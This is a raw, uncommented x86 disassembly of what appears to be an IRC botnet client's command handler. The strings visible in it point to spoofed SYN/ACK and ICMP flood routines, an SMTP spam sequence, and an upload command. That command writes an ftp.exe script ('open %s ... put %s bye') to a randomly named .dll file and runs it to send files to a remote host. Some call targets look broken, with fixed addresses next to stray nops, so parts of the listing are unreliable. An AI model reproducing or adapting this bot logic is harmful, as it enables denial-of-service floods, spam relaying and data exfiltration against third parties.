		push	eax
		call	sub_41BEB0
		push	offset asc_42CA34 ; " "
		push	offset dword_42B500
		push	[ebp+esi+var_7C]
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		call	sub_41BEB0
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CAEE4
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CAFF8
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CAFF4
		push	[ebp+arg_10]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CAF74
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CAFC4
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		push	esi
		call	dword_4CB00C
		call	dword_4CAECC
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset unk_42A9CC

loc_406CCF:				; CODE XREF: sub_401ACD+2E82j
					; sub_401ACD+4666j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886

loc_406CDB:				; CODE XREF: sub_401ACD+248Bj
		add	esp, 0Ch

loc_406CDE:				; CODE XREF: sub_401ACD+4584j
					; sub_401ACD+6653j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406CFF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_406CFF:				; CODE XREF: sub_401ACD+29B2j
					; sub_401ACD+2A05j ...
		mov	esi, [ebp+arg_24]

loc_406D02:				; CODE XREF: sub_401ACD+68F2j
					; sub_401ACD+78E2j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_406D16:				; CODE XREF: sub_401ACD+50ACj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D40
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E8

loc_406D40:				; CODE XREF: sub_401ACD+525Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4100DB
		jmp	loc_4040AA
; ---------------------------------------------------------------------------

loc_406D6E:				; CODE XREF: sub_401ACD+507Ej
					; sub_401ACD+5095j
		push	[ebp+arg_10]
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		lea	eax, [ebp+var_1354]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD3
		push	offset unk_42A984
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_406DD3:				; CODE XREF: sub_401ACD+52CCj
					; sub_401ACD+52E3j ...
		push	[ebp+arg_18]
		call	sub_41B779
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406EFF
		push	[ebp+arg_10]
		lea	eax, [ebp+var_1354]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi
		push	esi
		push	eax
		call	sub_41B980
		push	[ebp+arg_0]
		call	sub_41B779
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E70
		mov	eax, offset aNormal ; "Normal"

loc_406E70:				; CODE XREF: sub_401ACD+539Cj
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	eax
		push	offset unk_42A940
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset byte_413E35
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_406EEE

loc_406ED8:				; CODE XREF: sub_401ACD+541Fj
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2660EB7h
		nop
		jmp	short loc_406ED8
; ---------------------------------------------------------------------------

loc_406EEE:				; CODE XREF: sub_401ACD+5409j
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_42A908
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_406EFF:				; CODE XREF: sub_401ACD+5317j
		push	offset unk_42A8D0

loc_406F04:				; CODE XREF: sub_401ACD+2018j
					; sub_401ACD+202Ej ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40828B
; ---------------------------------------------------------------------------

loc_406F17:				; CODE XREF: sub_401ACD+5039j
					; sub_401ACD+5050j ...
		cmp	dword_4CB064, ebx
		jnz	loc_407026
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_100C],	eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_1008],	eax
		call	sub_41B779
		push	7Fh
		mov	[ebp+var_1004],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_110C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_100C]
		push	offset unk_42A888
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset dword_413284
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407015

loc_406FFF:				; CODE XREF: sub_401ACD+5546j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_406FFF
; ---------------------------------------------------------------------------

loc_407015:				; CODE XREF: sub_401ACD+5530j
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_42A850
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_407026:				; CODE XREF: sub_401ACD+5450j
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41B5F0
		jmp	loc_408288
; ---------------------------------------------------------------------------

loc_407041:				; CODE XREF: sub_401ACD+500Bj
					; sub_401ACD+5022j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	offset unk_42A7FC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	edx, eax
		push	edi
		mov	edi, edx
		call	sub_41AFE0
		push	[ebp+arg_10]
		add	edi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41B900
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41B779
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713B

loc_4070C4:				; CODE XREF: sub_401ACD+561Bj
		push	[ebp+arg_C]
		push	edi
		push	[ebp+arg_10]
		call	sub_4185A4
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070EC
		cmp	eax, ebx
		jnz	short loc_40710B
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C4
		jmp	short loc_407144
; ---------------------------------------------------------------------------

loc_4070EC:				; CODE XREF: sub_401ACD+560Cj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A7C4

loc_4070F5:				; CODE XREF: sub_401ACD+5680j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4072E8
; ---------------------------------------------------------------------------

loc_40710B:				; CODE XREF: sub_401ACD+5610j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A790
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h

loc_40713B:				; CODE XREF: sub_401ACD+55F5j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E8

loc_407144:				; CODE XREF: sub_401ACD+561Dj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42A75C
		jmp	short loc_4070F5
; ---------------------------------------------------------------------------

loc_40714F:				; CODE XREF: sub_401ACD+4FC6j
					; sub_401ACD+4FDDj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		push	[ebp+arg_10]
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax
		call	sub_41B5F0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_C7C], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_C78], eax
		call	sub_41B779
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B4
		push	esi
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BA
; ---------------------------------------------------------------------------

loc_4071B4:				; CODE XREF: sub_401ACD+56D6j
		mov	[ebp+var_C70], ebx

loc_4071BA:				; CODE XREF: sub_401ACD+56E5j
		push	7Fh
		lea	eax, [ebp+var_D7C]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C7C]
		push	offset unk_42A714
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset dword_413410
		push	ebx
		push	ebx
		call	near ptr 2670000h
		nop
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40725D

loc_40724B:				; CODE XREF: sub_401ACD+578Ej
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407278
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_40724B
; ---------------------------------------------------------------------------

loc_40725D:				; CODE XREF: sub_401ACD+577Cj
		call	near ptr 267084Ch
		nop
		push	eax
		push	offset unk_42A6DC

loc_407269:				; CODE XREF: sub_401ACD+4E31j
					; sub_401ACD+62BEj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_407278:				; CODE XREF: sub_401ACD+4E15j
					; sub_401ACD+5784j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BC
		push	ebx
		push	[ebp+var_4]

loc_407285:				; CODE XREF: sub_401ACD+22DEj
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4082A8
; ---------------------------------------------------------------------------

loc_407298:				; CODE XREF: sub_401ACD+4F98j
					; sub_401ACD+4FAFj
		push	0Bh
		call	sub_40B33E
		push	edi
		mov	[ebp+arg_1C], eax
		call	sub_41B779
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407454
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A69C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h

loc_4072E8:				; CODE XREF: sub_401ACD+526Dj
					; sub_401ACD+5639j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		push	4
		push	esi
		call	sub_416908
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407324
		push	esi
		push	offset unk_42A674
		jmp	loc_408CDB
; ---------------------------------------------------------------------------

loc_407324:				; CODE XREF: sub_401ACD+584Aj
		nop
		call	near ptr 268054Ch
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E58]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E58]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+arg_0]
		push	edi
		push	[ebp+arg_10]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41BE06
		push	[ebp+arg_24]
		call	sub_41B05B
		add	esp, 20h
		lea	eax, [ebp+var_2E58]
		push	eax
		lea	eax, [ebp+var_4CF0]
		push	offset aSS_2	; "-s:%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF0]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAEE0
		push	[ebp+arg_10]
		test	eax, eax
		push	esi
		jz	short loc_4073F3
		push	offset unk_42A604
		jmp	short loc_4073F8
; ---------------------------------------------------------------------------

loc_4073F3:				; CODE XREF: sub_401ACD+591Dj
		push	offset unk_42A5D4

loc_4073F8:				; CODE XREF: sub_401ACD+5924j
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_407421
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h

loc_407421:				; CODE XREF: sub_401ACD+5936j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC

loc_40742D:				; CODE XREF: sub_401ACD+5985j
		lea	eax, [ebp+var_2E58]
		push	4
		push	eax
		call	sub_416908
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E94
		lea	eax, [ebp+var_2E58]
		push	eax
		call	sub_41BDDC
		jmp	short loc_40742D
; ---------------------------------------------------------------------------

loc_407454:				; CODE XREF: sub_401ACD+57E5j
		push	[ebp+arg_10]
		call	sub_41B779
		push	edi
		mov	[ebp+var_370], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41B779
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+var_36C], eax
		jnb	short loc_40748D
		push	1
		pop	eax
		mov	[ebp+var_36C], eax

loc_40748D:				; CODE XREF: sub_401ACD+59B5j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40749A
		mov	[ebp+var_36C], ecx

loc_40749A:				; CODE XREF: sub_401ACD+59C5j
		push	[ebp+arg_18]
		call	sub_41B779
		mov	[ebp+var_368], eax
		mov	eax, 320h
		cmp	[ebp+var_368], eax
		pop	ecx
		jbe	short loc_4074BC
		mov	[ebp+var_368], eax

loc_4074BC:				; CODE XREF: sub_401ACD+59E7j
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_431410, ebx
		mov	[ebp+arg_20], ebx
		jz	short loc_40750B
		mov	edi, offset dword_431410

loc_4074D3:				; CODE XREF: sub_401ACD+5A20j
		push	[ebp+arg_10]
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074F1
		inc	[ebp+arg_20]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074D3
		jmp	short loc_40750B
; ---------------------------------------------------------------------------

loc_4074F1:				; CODE XREF: sub_401ACD+5A16j
		mov	eax, [ebp+arg_20]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_431410[ecx]
		mov	[ebp+var_370], ecx

loc_40750B:				; CODE XREF: sub_401ACD+59FFj
					; sub_401ACD+5A22j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40751D
		push	offset unk_42A5A0
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40751D:				; CODE XREF: sub_401ACD+5A44j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_407558
		cmp	byte ptr [edi],	23h
		jz	short loc_407558
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41B980
		push	78h
		push	edi
		call	sub_41BFB0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407632
; ---------------------------------------------------------------------------

loc_407558:				; CODE XREF: sub_401ACD+5A59j
					; sub_401ACD+5A5Ej
		cmp	[ebp+var_8FF], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8FE], bl
		jnz	short loc_40757A
		cmp	[ebp+var_8EE], bl
		jnz	short loc_40757A
		push	offset unk_42A56C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_40757A:				; CODE XREF: sub_401ACD+5A91j
					; sub_401ACD+5A99j ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CAF18
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40762C
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BE40
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407620

loc_4075FE:				; CODE XREF: sub_401ACD+5B51j
		cmp	eax, ebx
		jz	short loc_407620
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4075FE

loc_407620:				; CODE XREF: sub_401ACD+5B2Fj
					; sub_401ACD+5B33j
		mov	[ebp+var_344], 1
		jmp	short loc_407632
; ---------------------------------------------------------------------------

loc_40762C:				; CODE XREF: sub_401ACD+5B09j
		mov	[ebp+var_344], ebx

loc_407632:				; CODE XREF: sub_401ACD+5A86j
					; sub_401ACD+5B5Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_407683

loc_407670:				; CODE XREF: sub_401ACD+5BD9j
		push	esi

loc_407671:				; CODE XREF: sub_401ACD+5BC3j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4076AE
; ---------------------------------------------------------------------------

loc_407683:				; CODE XREF: sub_401ACD+5BA1j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_407692
		cmp	byte ptr [eax],	23h
		jnz	short loc_407692
		push	eax
		jmp	short loc_407671
; ---------------------------------------------------------------------------

loc_407692:				; CODE XREF: sub_401ACD+5BBBj
					; sub_401ACD+5BC0j
		mov	esi, offset aF	; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407670
		mov	[ebp+var_3F4], bl

loc_4076AE:				; CODE XREF: sub_401ACD+5BB4j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4076C0
		mov	eax, offset aSequential	; "Sequential"

loc_4076C0:				; CODE XREF: sub_401ACD+5BECj
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A504
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C33C
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40774E

loc_407738:				; CODE XREF: sub_401ACD+5C7Fj
		cmp	[ebp+var_340], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_407738
; ---------------------------------------------------------------------------

loc_40774E:				; CODE XREF: sub_401ACD+5C69j
		call	near ptr 267084Ch
		nop
		push	eax
		push	offset unk_42A4CC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40775F:				; CODE XREF: sub_401ACD+4F6Aj
					; sub_401ACD+4F81j
		push	[ebp+arg_10]
		call	sub_40AAF9
		push	edi
		mov	[ebp+var_4E0], eax
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41B779
		push	[ebp+arg_18]
		mov	[ebp+var_4EC], eax
		call	sub_41B779
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41B5F0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A47C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F6
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40C759
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_407854

loc_40783E:				; CODE XREF: sub_401ACD+5D85j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2660EB7h
		jmp	short loc_40783E
; ---------------------------------------------------------------------------

loc_407854:				; CODE XREF: sub_401ACD+5D6Fj
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_42A440
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_407865:				; CODE XREF: sub_401ACD+4F2Dj
					; sub_401ACD+4F44j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEC8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A434
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A72
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43DCB0[eax], 73h
		jnz	loc_409854
		push	esi
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43DEC8
		push	eax
		push	edi
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407A35
; ---------------------------------------------------------------------------

loc_40795D:				; CODE XREF: sub_401ACD+4EFFj
					; sub_401ACD+4F16j
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		cmp	byte_43DEC8[eax], bl
		jz	loc_409854
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_10]
		mov	esi, eax
		call	sub_41AFE0
		push	[ebp+arg_8]
